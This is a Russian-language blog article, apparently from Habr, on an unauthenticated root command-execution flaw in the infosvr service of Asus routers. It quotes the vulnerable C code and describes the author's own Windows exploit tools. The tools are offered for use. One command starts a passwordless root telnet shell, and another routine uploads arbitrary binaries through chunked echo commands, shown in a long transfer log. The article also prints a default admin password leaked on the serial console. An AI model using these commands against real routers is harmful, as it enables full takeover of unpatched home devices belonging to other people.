Как стать автором
Обновить

Эксплуатируем root-уязвимость в роутерах Asus

Время на прочтение28 мин
Количество просмотров109K
В начале 2015 года компания Asus исправила критичнейшую уязвимость в своих роутерах. «Дыра» была в службе по имени infosvr, использующейся утилитами Asus для облегчения настройки роутера путём его автоматического обнаружения в локальной сети. Уязвимость позволяла выполнять любые команды с правами root (ведь infosvr тоже root), что давало злоумышленнику полный контроль над системой.

Но Asus выпустила исправленные прошивки. Теперь это всё в прошлом. Или нет? Хм… А как часто обыватели обновляют прошивки на своих роутерах?



Прошу под кат за подробностями, историей обнаружения, исследованиями, инструкциями и… эксплоитами.

В чём дело?


Служба infosvr слушает 9999 порт (UDP). Когда приходит пакет размером не менее 512 байт она анализирует его и в зависимости от его типа выполняет соответствующие ответные действия. Например, собирает информацию о некоторых настройках роутера и отправляет её программе Device Discovery, которая помогает найти IP-адрес роутера. Но есть ещё и такой тип пакета, который подразумевает выполнение системной команды роутером. Тут-то Asus'овцы и облажались. Из-за ошибки в коде обработки такого пакета выполнить команду можно без всякой авторизации. Это строка if (memcpy(phdr_ex->MacAddress, mac, 6)==0) в следующем листинге (несущественные строки удалены):

Часть функции processPacket(int sockfd, char *pdubuf) из common.c
if (phdr->OpCode!=NET_CMD_ID_GETINFO && phdr->OpCode!=NET_CMD_ID_GETINFO_MANU)
{
	phdr_ex = (IBOX_COMM_PKT_HDR_EX *)pdubuf;
	// Check Mac Address
	if (memcpy(phdr_ex->MacAddress, mac, 6)==0)
	{
		_dprintf("Mac Error %2x%2x%2x%2x%2x%2x\n",
			(unsigned char)phdr_ex->MacAddress[0],
			(unsigned char)phdr_ex->MacAddress[1],
			(unsigned char)phdr_ex->MacAddress[2],
			(unsigned char)phdr_ex->MacAddress[3],
			(unsigned char)phdr_ex->MacAddress[4],
			(unsigned char)phdr_ex->MacAddress[5]
		);
		return NULL;
	}


	phdr_res->Info = phdr_ex->Info;
	memcpy(phdr_res->MacAddress, phdr_ex->MacAddress, 6);
}


Вероятно, там вместо memcpy предполагалось memcmp (вот что бывает когда копируете строки кода, с целью чуть-чуть подправить потом), а вместо == предполагалось !=. Но даже если бы этой ошибки не было, всё равно для проникновения достаточно было бы знать MAC-адрес.

После успешной «аутентификации» команда из пакета будет выполнена:

Та же функция; чуть далее по коду
switch(phdr->OpCode)
{

	case NET_CMD_ID_MANU_CMD:
		#define MAXSYSCMD 256
		char cmdstr[MAXSYSCMD];
		PKT_SYSCMD *syscmd;

		syscmd = (PKT_SYSCMD *)(pdubuf+sizeof(IBOX_COMM_PKT_HDR_EX));

		if (syscmd->len>=MAXSYSCMD) syscmd->len=MAXSYSCMD;
		syscmd->cmd[syscmd->len]=0;
		syscmd->len=strlen(syscmd->cmd);
		
		
		fprintf(stderr,"system cmd: %d %s\n", syscmd->len, syscmd->cmd);
		sprintf(cmdstr, "%s > /tmp/syscmd.out", syscmd->cmd);
		system(cmdstr);



А теперь, хотите квест?

  • Идите сюда
  • Выберите любой маршрутизатор
  • Пройдите по пути Поддержка -> Драйверы и утилиты -> ОС -> Firmware
  • Ищите в списке прошивку за январь 2015-го
  • В описании к ней наверняка есть скупая фраза "Fixed infosvr security issue."
  • ???
  • !!!

Впечатляют масштабы? На самом деле всё было не так уж и плохо (а сейчас, когда «дыру» закрыли — вообще хорошо). Дело в том, что infosvr работает с интерфейсом br0, т.е. с мостом между другими интерфейсами. В случае, если роутер работает в режиме IP Sharing (Режим общего IP), br0 объединяет eth0 и wlan0. Заметьте, eth1 (который WAN) сюда не входит. Т.е. уже радует то, что с внешней сети никто не пролезет. А вот когда роутер в режиме Access point, то br0 объединяет все интерфейсы…

История обнаружения


Как-то мне захотелось порулить своим роутером через UART, то бишь через аппаратную консоль. «Зачем такие трудности? По телнету зайди.» — скажете вы. Не тут-то было! Это же RT-N10E! (Он же RT-N10LX).

Вы видите здесь выключатель телнет? Я тоже - нет


Позже я узнал, что можно было вот так:
192.168.1.1/telnetd.cgi?enable=1



Не буду тут много рассказывать насколько это дерьмовый роутер. Кто сталкивался — знает. А для счастливчиков, кому не приходилось с ним возиться скажу, что роутеры Asus RT-xxxE (или RT-xxxLX) имеют процессор от Realtek, под который нет альтернативных прошивок! Хотя сообщество пытается. На официальных же прошивках я пару лет назад пользовался PPTP. Постоянные зависания, разрывы и прочие радости. PPPoE по началу вообще не поднимался (в какой-то прошивке исправили). Сейчас этот роутер работает просто как мост между WiFi и Ethernet.

Подробнее о различиях RT-xxxE и RT-xxxLX
Различие Asus RT-N10E и Asus RT-N10LX
По сути, это один и тот же роутер, Asus RT-N10LX имеет антенну на 2 dBi, RT-N10E – 5 dBi. В спецификациях к RT-N10LX указано дополнительно IEEE 802.11d – по сути, означает только то, что роутер учитывает региональные правовые ограничения в сфере связи, в связи с чем, используется более слабая антенна. Лично мне попался экземпляр (2012 года сборки) с малой антенной на 2 dBi, при этом вся маркировка на роутере и коробке говорит о том, что это RT-N10E, а не RT-N10LX. Если внимательно посмотреть информацию на официальном сайте, там это указано: «Antenna type will differ according to local regulations and requirement in each country» а также «This model sells only in EU, China, and South America». Как говорится, те же яйца, только в профиль. Прошивка в этих двух моделях одна и та же.

Различие Asus RT-N10E/LX и RT-N12E/LX
В 12-й модели тот же процессор, но другой контроллер – RTL8192CE, который позволяет использовать 2 MIMO, обеспечивая теоретически до 300 Мбит/сек. Отличие версий RT-N12E и RT-N12LX – в антеннах.

Различие Asus RT-N10E/LX и Asus RT-N10
У ASUS также есть роутеры RT-N10 и RT-N12. И тут важно понимать, это другие устройства, которые собраны на базе чипов Broadcom. Для RT-N10 и RT-N12 есть альтернативные прошивки энтузиастов, в том числе «от Олега». Будьте внимательны при покупке!
Источник


Итак, подключились к UARTу.

Подключение к UARTу


Включаем. Видим процесс загрузки. (Кэп: Кстати, через телнет этого не увидишь. Так-то!)
Так загрузка роутера выглядит через /dev/console (/dev/ttyS0)
========== SPI =============
SDRAM CLOCK:156MHZ
— Force into Single IO Mode — |No chipID Sft chipSize blkSize secSize pageSize sdCk opCk chipName |
| 0 ef4016h 0h 400000h 10000h 1000h 100h 104 39 W25Q32|
— ---RealTek(RTL8196C)at 2012.04.09-16:54+0800 version v1.1f [16bit](390MHz)

####return_addr: 0x05010000, root_bin_offset: 0x050dd012
Jump to image start=0x80500000…
decompressing kernel:
Uncompressing Linux… done, booting the kernel.
done decompressing kernel.
start address: 0x80003600
RTL8192C/RTL8188C driver version 1.6 (2011-07-18)

Probing RTL8186 10/100 NIC-kenel stack size order[2]…
chip name: 8196C, chip revid: 4
NOT YET
eth0 added. vid=9 Member port 0x10…
eth1 added. vid=8 Member port 0x1…
eth2 added. vid=9 Member port 0x2…
eth3 added. vid=9 Member port 0x4…
eth4 added. vid=9 Member port 0x8…
[peth0] added, mapping to [eth1]…
init started: BusyBox v1.13.4 (2014-09-18 18:01:50 CST)

##flash.c free apmib ##
Init Start…

##system/sysconf.c free apmib ##

##flash.c free apmib ##
===== Set parameter for BSMI test=====
Init bridge interface…
syslog will use 64KB for log(7 rotate, 1 original, 8KB for each)
Init Wlan application…

##flash.c free apmib ##

##flash.c free apmib ##
Init Firewall Rules…
No wan ip currently!
Init WAN Interface…
start_wan: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
set_dhcp_client: sysop 0 wan_iface eth1 lan_iface br0 wisp_id 0 act_source 1
start_wan_dhcp_client: iface eth1
No such process

MiniIGD v1.07 (2013.05.21-07:19+0000).

System TZ ENV = GMT-2
Restart networkmap

##system/sysconf.c free apmib ##
start infosvr
router ip = 192.168.1.1
mac addr = 50:46:5d:86:76:fc
WLAN0_WLAN_DISABLED=0 ##flash.c free apmib ##
sh: ##flash.c: unknown operand
# Start wanduck!
Start httpd!

# 1:Enable direct rule

После окончания загрузки я начал исследовать систему: версии ПО, железо и другую информацию, которую можно добыть при помощи консоли. Но об этом позже.

Интересно посмотреть реакцию на стандартные действия пользователя, как-то: нажатие на кнопку WPS, настройка через веб-морду, использование Asus Utility… Действительно, на консоли появлялась соответствующая информация. Отдельно стоит упомянуть такой факт: при попытке открыть веб-интерфейс httpd (предположительно) пишет в /dev/console (/dev/ttyS0) логин и пароль для входа!
UserID: admin
UserPass: asus-rt
Правда, на телнет (/dev/ttyp0) это не попадает.

Из всего пакета Asus Utility (Device Discovery, Router Setup Wizard и Firmware Restoration) реакцию консоли вызвал только Router Setup Wizard. А именно: при запуске приложения и нажатии на кнопку «Далее» появляются такие строки:
system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 17 nvram get sw_mode
rund: echo 1 > /tmp/syscmd.out
2 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

system cmd: 19 nvram get x_Setting
sh: nvram: not found
rund: nvram get x_Setting > /tmp/syscmd.out
0 1

Хм…
Эти команды Router Setup Wizard передаёт? Посмотрел через Wireshark — да, эти команды передаются в UDP пакетах с RSW. А что если их заменить на свои?

Оказывается, я не первый

Перед тем, как начать ковыряться в пакетах, я решил погуглить. И нагуглил кое-что (раз и два). По второй ссылке подробное описание уязвимости и простой эксплоит под Линукс (есть и на python-е).

Велосипед AsusCmd


Мне хотелось бы иметь такую программку под Windows, поскольку Я 95% времени пользуюсь именно ей. Не хочется ради выполнения какой-то команды загружать виртуальную машину с Ubuntu.

Размеры

В процессе написания и отладки эксплоита, а также копания в исходниках infosvr выяснились «параметры» этой «дыры».
А именно её размеры. Они такие:
Размеры буферов приёма и отправки — по 420 байт. И всё бы неплохо, но реально 420 байт роутер может только отправить в ответе. А вот с приёмом дела ещё хуже. Дело в том, что после приёма команды infosvr обрезает её до 256 символов и только потом — исполняет. Но и это ещё не последнее ограничение. При выполнении команды длиной чуть менее 256 символов infosvr падает с грохотом segmentation fault. Команда выполнена, но ни ответа уже не будет, ни возможности исполнить ещё что-то. Опытным путём была найдена предельная безопасная длина пользовательской команды. Это 238 символов. Итак, размеры «дыры»: 238 — команда, 420 — ответ.

Подробнее (с примером)
infosvr вызывает
system(«echo „Some text“>/var/myText;cat /var/myText > /tmp/syscmd.out»);

Тут полная команда:
'echo «Some text»>/var/myText;cat /var/myText > /tmp/syscmd.out'

Где:
'echo «Some text»>/var/myText;cat /var/myText'
— команда, отправленная пользователем с помощью AsusCmd;
' > /tmp/syscmd.out'
— жёстко запрограммировано в коде infosvr.

Кстати, зачем нужно перенаправление в /tmp/syscmd.out? А затем, что именно с него потом считывается в буфер 420 байт и отправляется ответ на команду.

«Предельная безопасная длина» относится именно к пользовательской команде.

Т.е. при длине пользовательской команды 238 символов длина полной команды будет 238+18=256. Может именно падения infosvr хотели избежать разработчики, когда обрезали команду до 256 символов? Похоже они не учли strlen(" > /tmp/syscmd.out").


Експлоит написан и отлажен. Можно пользоваться.

Пример работы


Но так рулить роутером не очень удобно. И, если в данном случае ограничение в 238 символов команды не сильно заметно, то ограничение на вывод ответа в 420 символов — это уже печальнее. Но выход есть! Хоть на роутере и сильно ограниченный busybox, но там всё-же есть telnetd! Запускать его лучше на нестандартном порте, т.к. защиты нет никакой: для подключения пароль не нужен.
AsusCmd.exe «telnetd -l/bin/sh -p777»
Ну, теперь другое дело! Можно полноценно командовать со всеми удобствами, как-то история команд и дополнение по Tab. Если телнет перестал отвечать, его можно перезапустить, не перезагружая роутер. Сначала надо прибить связанный с ним sh:
AsusCmd.exe «killall -9 sh»
Учтите, что после выполнения этой команды будет также убит sh, который связан с /dev/console. Теперь можно снова запускать telnetd.

Отлично. Тема исчерпана? Как-бы не так.

Продолжение банкета


Итак, мы можем пользоваться всеми доступными командами. Можем создавать и удалять файлы в каталогах, доступных для записи (ramfs /var). Можно записать несколькими командами длинный текстовый файл. Но не только текстовый! Ведь echo в Linux-е умеет преобразовывать текст в двоичные данные! Это значит, что мы можем заливать на роутер свои программы, которых нам не хватает!

AsusBinWrite

Идея проста:
  • считываем порцию байт с файла-источника
  • преобразуем их в текстовый вид, понятный для 'echo -e'
  • формируем системную команду
  • отправляем на роутер
  • повторяем пока не перешлём весь файл


Но это на словах всё легко и просто. На практике мы имеем дело с парой неприятных факторов:
  • UDP пакеты, которые иногда теряются
  • Ограничение на полезную длину системной команды (238 символов)


С ограничением на полезную длину команды всё понятно: просто придётся больше пакетов отправить. Плохо в этом случае то, что страдает скорость передачи. Ведь процессору роутера приходится обрабатывать много мелких пакетов. Т.е. скорость передачи прямо пропорциональна скорости процессора роутера. (Проверено с помощью cpuload: во время работы AsusBinWrite CPU роутера грузится на 100%).

С UDP посложнее. Надо как-то контролировать правильность передачи. Примитивный способ — просто дописывать очередные байты в конец файла — не подходит. Стоит одному пакету на пути к роутеру потеряться или продублироваться — и файл уже бракован. Поэтому принято решение сначала записывать отдельные части в разные файлы и проверять их содержимое. А в потом их можно объединить. И ещё: объединять следует не в самом конце, а через какое-то количество переданных частей. Потому, что одна часть занимает места в памяти не, скажем, 40 байт (размер файла-части), а все 4 КБ (страница). А если частей тысячи? Никакой оперативки не хватит (На RT-N10E её лишь 16MB). После успешного объединения (успешность тоже проверяется по признаку увеличения размера целевого файла на роутере) эти части удаляются. Вот так в цикле передаём весь файл до конца. Получился такой-себе протокол надёжной передачи файлов на роутер посредством UDP.

Пример передачи исполняемого файла

Чтобы лучше понять алгоритм работы предлагаю посмотреть, что происходит на /dev/console (/dev/ttyS0) во время передачи файла и сопоставить это с выводом самого AsusBinWrite.

Вывод AsusBinWrite (обратите внимание на случаи потери пакетов)
Start uploading file to 255.255.255.255…
Source file: 'Useful\ldd' Target file: '/var/ldd'
0.5% 742.4 Bps part 1 (49 B; cmd: 237 ch) ‎192.168.1.1: OK
1.0% 106.5 Bps part 2 (49 B; cmd: 237 ch) LOST
1.0% 32.7 Bps part 2 (49 B; cmd: 237 ch) 192.168.1.1: OK
1.5% 347.5 Bps part 3 (49 B; cmd: 237 ch) 192.168.1.1: OK
1.9% 159.1 Bps part 4 (49 B; cmd: 237 ch) שש192.168.1.1: OK
2.4% 150.3 Bps part 5 (49 B; cmd: 237 ch) ששLOST
2.4% 32.2 Bps part 5 (49 B; cmd: 237 ch) 192.168.1.1: OK
2.9% 376.9 Bps part 6 (49 B; cmd: 237 ch) שLOST
2.9% 32.6 Bps part 6 (49 B; cmd: 237 ch) 192.168.1.1: OK
3.4% 401.6 Bps part 7 (49 B; cmd: 237 ch) ש192.168.1.1: OK
3.9% 146.3 Bps part 8 (49 B; cmd: 237 ch) 192.168.1.1: OK
4.4% 102.3 Bps part 9 (49 B; cmd: 237 ch) ש192.168.1.1: OK
4.8% 150.0 Bps part 10 (48 B; cmd: 235 ch) 192.168.1.1: OK
5.3% 176.5 Bps part 11 (48 B; cmd: 235 ch) 192.168.1.1: OK
5.8% 120.9 Bps part 12 (48 B; cmd: 235 ch) שש192.168.1.1: OK
6.3% 145.5 Bps part 13 (48 B; cmd: 235 ch) 192.168.1.1: OK
6.8% 144.6 Bps part 14 (48 B; cmd: 235 ch) שLOST
6.8% 31.7 Bps part 14 (48 B; cmd: 235 ch) 192.168.1.1: OK
7.2% 285.7 Bps part 15 (48 B; cmd: 235 ch) 192.168.1.1: OK
7.7% 147.7 Bps part 16 (48 B; cmd: 235 ch) LOST
7.7% 32.0 Bps part 16 (48 B; cmd: 235 ch) 192.168.1.1: OK
8.2% 333.3 Bps part 17 (48 B; cmd: 235 ch) ש192.168.1.1: OK
8.7% 146.3 Bps part 18 (48 B; cmd: 235 ch) ש192.168.1.1: OK
9.1% 148.1 Bps part 19 (48 B; cmd: 235 ch) ש192.168.1.1: OK
9.6% 141.6 Bps part 20 (48 B; cmd: 235 ch) שש192.168.1.1: OK
10.1% 145.0 Bps part 21 (48 B; cmd: 235 ch) 192.168.1.1: OK
10.6% 145.5 Bps part 22 (48 B; cmd: 235 ch) ש192.168.1.1: OK
11.0% 148.1 Bps part 23 (48 B; cmd: 235 ch) שש192.168.1.1: OK
11.5% 145.9 Bps part 24 (48 B; cmd: 235 ch) ש192.168.1.1: OK
12.0% 137.5 Bps part 25 (48 B; cmd: 235 ch) 192.168.1.1: OK
12.5% 146.3 Bps part 26 (48 B; cmd: 235 ch) 192.168.1.1: OK
12.9% 151.9 Bps part 27 (48 B; cmd: 235 ch) שש192.168.1.1: OK
13.4% 172.0 Bps part 28 (48 B; cmd: 235 ch) ש192.168.1.1: OK
13.9% 126.0 Bps part 29 (48 B; cmd: 235 ch) שש192.168.1.1: OK
14.4% 173.3 Bps part 30 (48 B; cmd: 235 ch) שLOST
14.4% 31.7 Bps part 30 (48 B; cmd: 235 ch) 192.168.1.1: OK
14.8% 358.2 Bps part 31 (48 B; cmd: 235 ch) ש192.168.1.1: OK
15.3% 144.6 Bps part 32 (48 B; cmd: 235 ch) ש192.168.1.1: OK
15.8% 149.5 Bps part 33 (48 B; cmd: 235 ch) שש192.168.1.1: OK
16.3% 137.1 Bps part 34 (48 B; cmd: 235 ch) ש192.168.1.1: OK
16.7% 153.8 Bps part 35 (48 B; cmd: 235 ch) ש192.168.1.1: OK
17.2% 138.7 Bps part 36 (48 B; cmd: 235 ch) ש192.168.1.1: OK
17.7% 145.5 Bps part 37 (48 B; cmd: 235 ch) 192.168.1.1: OK
18.2% 140.4 Bps part 38 (48 B; cmd: 235 ch) 192.168.1.1: OK
18.7% 154.3 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 32.0 Bps part 39 (48 B; cmd: 235 ch) LOST
18.7% 31.6 Bps part 39 (48 B; cmd: 235 ch) 192.168.1.1: OK
19.1% 428.6 Bps part 40 (48 B; cmd: 235 ch) ש192.168.1.1: OK
19.6% 175.2 Bps part 41 (48 B; cmd: 235 ch) ש192.168.1.1: OK
20.1% 120.6 Bps part 42 (48 B; cmd: 235 ch) 192.168.1.1: OK
20.6% 146.3 Bps part 43 (48 B; cmd: 235 ch) ש192.168.1.1: OK
21.0% 150.0 Bps part 44 (48 B; cmd: 235 ch) שש192.168.1.1: OK
21.5% 145.0 Bps part 45 (48 B; cmd: 235 ch) ששLOST
21.5% 31.0 Bps part 45 (48 B; cmd: 235 ch) 192.168.1.1: OK
22.0% 363.6 Bps part 46 (48 B; cmd: 235 ch) ש192.168.1.1: OK
22.5% 137.9 Bps part 47 (48 B; cmd: 235 ch) 192.168.1.1: OK
22.9% 154.3 Bps part 48 (48 B; cmd: 235 ch) ש192.168.1.1: OK
23.4% 145.0 Bps part 49 (48 B; cmd: 235 ch) ששLOST
23.4% 31.9 Bps part 49 (48 B; cmd: 235 ch) 192.168.1.1: OK
23.9% 360.9 Bps part 50 (48 B; cmd: 235 ch) ששLOST
23.9% 31.8 Bps part 50 (48 B; cmd: 235 ch) 192.168.1.1: OK
24.4% 345.3 Bps part 51 (48 B; cmd: 235 ch) 192.168.1.1: OK
24.8% 151.4 Bps part 52 (48 B; cmd: 235 ch) שLOST
24.8% 31.6 Bps part 52 (48 B; cmd: 235 ch) 192.168.1.1: OK
25.3% 342.9 Bps part 53 (48 B; cmd: 235 ch) ש192.168.1.1: OK
25.8% 145.0 Bps part 54 (48 B; cmd: 235 ch) שש192.168.1.1: OK
26.3% 151.4 Bps part 55 (48 B; cmd: 235 ch) ש192.168.1.1: OK
26.7% 145.5 Bps part 56 (48 B; cmd: 235 ch) ש192.168.1.1: OK
27.2% 147.7 Bps part 57 (48 B; cmd: 235 ch) ש192.168.1.1: OK
27.7% 143.7 Bps part 58 (48 B; cmd: 235 ch) ש192.168.1.1: OK
28.2% 142.9 Bps part 59 (48 B; cmd: 235 ch) ש192.168.1.1: OK
28.6% 142.9 Bps part 60 (48 B; cmd: 235 ch) ש192.168.1.1: OK
29.1% 149.1 Bps part 61 (48 B; cmd: 235 ch) 192.168.1.1: OK
29.6% 142.4 Bps part 62 (48 B; cmd: 235 ch) ש192.168.1.1: OK
30.1% 142.9 Bps part 63 (48 B; cmd: 235 ch) 192.168.1.1: OK
30.6% 145.9 Bps part 64 (48 B; cmd: 235 ch) ש192.168.1.1: OK
31.0% 148.1 Bps part 65 (48 B; cmd: 235 ch) ש192.168.1.1: OK
31.5% 144.6 Bps part 66 (48 B; cmd: 235 ch) ש192.168.1.1: OK
32.0% 141.2 Bps part 67 (48 B; cmd: 235 ch) ש192.168.1.1: OK
32.5% 142.9 Bps part 68 (48 B; cmd: 235 ch) 192.168.1.1: OK
32.9% 151.4 Bps part 69 (48 B; cmd: 235 ch) ש192.168.1.1: OK
33.4% 143.7 Bps part 70 (48 B; cmd: 235 ch) שש192.168.1.1: OK
33.9% 146.8 Bps part 71 (48 B; cmd: 235 ch) ש192.168.1.1: OK
34.4% 183.9 Bps part 72 (48 B; cmd: 235 ch) 192.168.1.1: OK
34.8% 144.1 Bps part 73 (48 B; cmd: 235 ch) שש192.168.1.1: OK
35.3% 117.1 Bps part 74 (48 B; cmd: 235 ch) ש192.168.1.1: OK
35.8% 144.6 Bps part 75 (48 B; cmd: 235 ch) 192.168.1.1: OK
36.3% 144.6 Bps part 76 (48 B; cmd: 235 ch) 192.168.1.1: OK
36.7% 151.4 Bps part 77 (48 B; cmd: 235 ch) שש192.168.1.1: OK
37.2% 172.0 Bps part 78 (48 B; cmd: 235 ch) 192.168.1.1: OK
37.7% 119.7 Bps part 79 (48 B; cmd: 235 ch) 192.168.1.1: OK
38.2% 143.7 Bps part 80 (48 B; cmd: 235 ch) 192.168.1.1: OK
38.6% 151.9 Bps part 81 (48 B; cmd: 235 ch) שש192.168.1.1: OK
39.1% 143.7 Bps part 82 (48 B; cmd: 235 ch) ש192.168.1.1: OK
39.6% 146.8 Bps part 83 (48 B; cmd: 235 ch) ש192.168.1.1: OK
40.1% 183.9 Bps part 84 (48 B; cmd: 235 ch) שש192.168.1.1: OK
40.5% 117.1 Bps part 85 (48 B; cmd: 235 ch) שש192.168.1.1: OK
41.0% 142.9 Bps part 86 (48 B; cmd: 235 ch) ש192.168.1.1: OK
41.5% 147.2 Bps part 87 (48 B; cmd: 235 ch) שש192.168.1.1: OK
42.0% 179.1 Bps part 88 (48 B; cmd: 235 ch) 192.168.1.1: OK
42.5% 145.5 Bps part 89 (48 B; cmd: 235 ch) שש192.168.1.1: OK
42.9% 136.8 Bps part 90 (48 B; cmd: 235 ch) 192.168.1.1: OK
43.4% 120.0 Bps part 91 (48 B; cmd: 235 ch) 192.168.1.1: OK
43.9% 151.9 Bps part 92 (48 B; cmd: 235 ch) שש192.168.1.1: OK
44.4% 143.3 Bps part 93 (48 B; cmd: 235 ch) ש192.168.1.1: OK
44.8% 146.3 Bps part 94 (48 B; cmd: 235 ch) ש192.168.1.1: OK
45.3% 145.9 Bps part 95 (48 B; cmd: 235 ch) שש192.168.1.1: OK
45.8% 138.7 Bps part 96 (48 B; cmd: 235 ch) 192.168.1.1: OK
46.3% 151.4 Bps part 97 (48 B; cmd: 235 ch) שLOST
46.3% 31.8 Bps part 97 (48 B; cmd: 235 ch) 192.168.1.1: OK
46.7% 436.4 Bps part 98 (48 B; cmd: 235 ch) שש192.168.1.1: OK
47.2% 138.7 Bps part 99 (48 B; cmd: 235 ch) LOST
47.2% 32.0 Bps part 99 (48 B; cmd: 235 ch) 192.168.1.1: OK
47.7% 378.0 Bps part 100 (48 B; cmd: 237 ch) שש192.168.1.1: OK
Merging to /var/ldd parts 1..16 (16 pcs; cmd: 228 ch)… OK (777 B)
Merging to /var/ldd parts 17..32 (16 pcs; cmd: 238 ch)… OK (1545 B)
Merging to /var/ldd parts 33..48 (16 pcs; cmd: 238 ch)… OK (2313 B)
Merging to /var/ldd parts 49..64 (16 pcs; cmd: 238 ch)… OK (3081 B)
Merging to /var/ldd parts 65..80 (16 pcs; cmd: 238 ch)… OK (3849 B)
Merging to /var/ldd parts 81..96 (16 pcs; cmd: 238 ch)… OK (4617 B)
Merging to /var/ldd parts 97..100 (4 pcs; cmd: 71 ch)… OK (4809 B)
Written 4.70KB/9.85KB 77.0 Bps (avg) Remaining: 01:08 (01:02/02:10)

48.2% 5.2 Bps part 101 (49 B; cmd: 237 ch) 192.168.1.1: OK
48.7% 116.7 Bps part 102 (49 B; cmd: 237 ch) שש192.168.1.1: OK
49.1% 196.8 Bps part 103 (49 B; cmd: 237 ch) LOST
49.1% 32.7 Bps part 103 (49 B; cmd: 237 ch) 192.168.1.1: OK
49.6% 418.8 Bps part 104 (49 B; cmd: 237 ch) שש192.168.1.1: OK
50.1% 138.8 Bps part 105 (49 B; cmd: 237 ch) 192.168.1.1: OK
50.6% 150.8 Bps part 106 (49 B; cmd: 237 ch) 192.168.1.1: OK
51.1% 153.6 Bps part 107 (49 B; cmd: 237 ch) שש192.168.1.1: OK
51.6% 151.7 Bps part 108 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.1% 142.4 Bps part 109 (49 B; cmd: 237 ch) ש192.168.1.1: OK
52.5% 145.5 Bps part 110 (48 B; cmd: 235 ch) ש192.168.1.1: OK
53.0% 150.9 Bps part 111 (48 B; cmd: 235 ch) שLOST
53.0% 31.7 Bps part 111 (48 B; cmd: 235 ch) 192.168.1.1: OK
53.5% 410.3 Bps part 112 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.0% 143.3 Bps part 113 (48 B; cmd: 235 ch) ש192.168.1.1: OK
54.4% 144.6 Bps part 114 (48 B; cmd: 235 ch) שש192.168.1.1: OK
54.9% 141.6 Bps part 115 (48 B; cmd: 235 ch) 192.168.1.1: OK
55.4% 150.0 Bps part 116 (48 B; cmd: 235 ch) ש192.168.1.1: OK
55.9% 140.4 Bps part 117 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.3% 151.9 Bps part 118 (48 B; cmd: 235 ch) ש192.168.1.1: OK
56.8% 142.0 Bps part 119 (48 B; cmd: 235 ch) ש192.168.1.1: OK
57.3% 145.5 Bps part 120 (48 B; cmd: 235 ch) 192.168.1.1: OK
57.8% 140.8 Bps part 121 (48 B; cmd: 235 ch) 192.168.1.1: OK
58.3% 154.3 Bps part 122 (48 B; cmd: 235 ch) ש192.168.1.1: OK
58.7% 144.6 Bps part 123 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.2% 141.2 Bps part 124 (48 B; cmd: 235 ch) 192.168.1.1: OK
59.7% 138.7 Bps part 125 (48 B; cmd: 235 ch) 192.168.1.1: OK
60.2% 151.9 Bps part 126 (48 B; cmd: 235 ch) ש192.168.1.1: OK
60.6% 142.9 Bps part 127 (48 B; cmd: 235 ch) שLOST
60.6% 31.9 Bps part 127 (48 B; cmd: 235 ch) 192.168.1.1: OK
61.1% 378.0 Bps part 128 (48 B; cmd: 235 ch) ש192.168.1.1: OK
61.6% 142.4 Bps part 129 (48 B; cmd: 235 ch) 192.168.1.1: OK
62.1% 150.0 Bps part 130 (48 B; cmd: 235 ch) שש192.168.1.1: OK
62.5% 136.8 Bps part 131 (48 B; cmd: 235 ch) ש192.168.1.1: OK
63.0% 154.3 Bps part 132 (48 B; cmd: 235 ch) 192.168.1.1: OK
63.5% 149.1 Bps part 133 (48 B; cmd: 235 ch) ש192.168.1.1: OK
64.0% 145.9 Bps part 134 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.4% 142.4 Bps part 135 (48 B; cmd: 235 ch) שש192.168.1.1: OK
64.9% 147.7 Bps part 136 (48 B; cmd: 235 ch) שש192.168.1.1: OK
65.4% 146.8 Bps part 137 (48 B; cmd: 235 ch) ש192.168.1.1: OK
65.9% 142.0 Bps part 138 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.3% 179.8 Bps part 139 (48 B; cmd: 235 ch) שש192.168.1.1: OK
66.8% 121.2 Bps part 140 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.3% 182.5 Bps part 141 (48 B; cmd: 235 ch) שש192.168.1.1: OK
67.8% 119.4 Bps part 142 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.2% 146.3 Bps part 143 (48 B; cmd: 235 ch) ש192.168.1.1: OK
68.7% 145.0 Bps part 144 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.2% 142.4 Bps part 145 (48 B; cmd: 235 ch) ש192.168.1.1: OK
69.7% 142.9 Bps part 146 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.2% 145.0 Bps part 147 (48 B; cmd: 235 ch) 192.168.1.1: OK
70.6% 142.0 Bps part 148 (48 B; cmd: 235 ch) 192.168.1.1: OK
71.1% 152.9 Bps part 149 (48 B; cmd: 235 ch) ש192.168.1.1: OK
71.6% 177.1 Bps part 150 (48 B; cmd: 235 ch) 192.168.1.1: OK
72.1% 122.8 Bps part 151 (48 B; cmd: 235 ch) שש192.168.1.1: OK
72.5% 143.3 Bps part 152 (48 B; cmd: 235 ch) שש192.168.1.1: OK
73.0% 145.9 Bps part 153 (48 B; cmd: 235 ch) שLOST
73.0% 31.7 Bps part 153 (48 B; cmd: 235 ch) 192.168.1.1: OK
73.5% 432.4 Bps part 154 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.0% 144.6 Bps part 155 (48 B; cmd: 235 ch) שש192.168.1.1: OK
74.4% 145.5 Bps part 156 (48 B; cmd: 235 ch) ש192.168.1.1: OK
74.9% 182.5 Bps part 157 (48 B; cmd: 235 ch) שש192.168.1.1: OK
75.4% 117.1 Bps part 158 (48 B; cmd: 235 ch) ש192.168.1.1: OK
